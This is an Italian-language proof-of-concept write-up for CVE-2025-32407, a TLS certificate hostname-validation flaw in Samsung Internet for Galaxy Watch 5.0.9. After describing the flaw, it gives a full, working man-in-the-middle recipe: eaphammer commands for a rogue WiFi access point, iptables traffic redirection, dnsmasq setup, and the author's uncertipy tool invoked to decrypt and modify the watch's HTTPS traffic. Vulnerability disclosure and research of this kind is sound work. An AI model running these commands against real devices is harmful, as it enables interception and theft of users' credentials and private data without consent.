
Exploit proof-of-concept per CVE-2025-32407: bypass della validazione del certificato TLS in Samsung Internet per Galaxy Watch, consentendo attacchi Man-in-the-Middle sul traffico HTTPS.
Dimostrazione di concetto per CVE-2025-32407: una configurazione errata nella validazione dei certificati TLS dell'app Samsung Galaxy Watch "Samsung Internet for Galaxy Watch" versione 5.0.9.
L'app Galaxy Watch "Samsung Internet for Galaxy Watch" versione 5.0.9, disponibile fino a Samsung Galaxy Watch 3, non convalida correttamente i certificati TLS, consentendo a un utente malintenzionato di impersonare qualsiasi sito web visitato dall'utente. Si tratta di una configurazione errata critica nel modo in cui il browser verifica l'identità del server. Annulla l'uso di HTTPS come canale sicuro, consentendo attacchi Man-in-the-Middle, rubando informazioni sensibili o modificando il traffico in entrata e in uscita.
In questo caso particolare, il browser non verifica che il dominio del certificato corrisponda al nome di dominio del sito web. Ciò significa che accetterà qualsiasi certificato TLS, emesso per qualsiasi dominio arbitrario, purché firmato da un'Autorità di Certificazione attendibile. Quindi, un utente malintenzionato potrebbe ottenere un certificato gratuito per un dominio che controlla e con esso intercettare ogni connessione TLS generata dall'app.
È stato testato utilizzando un Samsung Galaxy Watch 3 e l'ultima versione di "Samsung Internet for Galaxy Watch" (5.0.9). Si prega di notare che questo dispositivo non è attualmente supportato.

Per facilitare lo sfruttamento, ho sviluppato uno strumento che intercetta dinamicamente le comunicazioni TLS e genera certificati TLS controllati da me, che mi permette di decifrare e manipolare i dati in entrata e in uscita: https://github.com/diegovargasj/uncertipy. È necessario un certificato TLS valido, con la sua chiave, firmato da una CA reale. Questo può essere fatto facilmente e gratuitamente con l'API di Let's Encrypt e un dominio. Verranno archiviati rispettivamente in /path/to/cert.pem e /path/to/key.pem.
Ci sono diversi modi per intercettare la comunicazione dell'orologio, come manipolare le risposte DNS o collegarlo a un punto di accesso WiFi creato per questo scopo. Faremo quest'ultimo, utilizzando un computer con 2 interfacce di rete: wlan0 per accedere a internet, e wlan1 per distribuire il punto di accesso WiFi.
Utilizzerò eaphammer (https://github.com/s0lst1c3/eaphammer) per distribuire il punto di accesso WiFi, ma puoi usare quello che preferisci.
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
Ora, assegna un indirizzo IP all'interfaccia:
sudo ip addr add 10.0.0.1/24 dev wlan1
Reindirizza il traffico alla porta locale 9900:
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
E abilita DHCP e DNS:
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
Infine, avvia uncertipy per intercettare il traffico TLS sulla porta 9900. Questo traffico verrà reindirizzato a un proxy HTTP sulla porta 8080, per la registrazione:
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
Ora colleghiamo l'orologio al punto di accesso WiFi, apriamo l'app e navighiamo verso qualsiasi sito web HTTPS arbitrario.


Lo strumento uncertipy notificherà le intercettazioni TLS.

Il proxy HTTP inizierà ad intercettare le richieste, che possono contenere informazioni sensibili. Inoltre, possiamo sfruttare le funzionalità del proxy per modificare le richieste in entrata o in uscita.

L'app dovrebbe funzionare normalmente, visualizzando il contenuto del sito web.
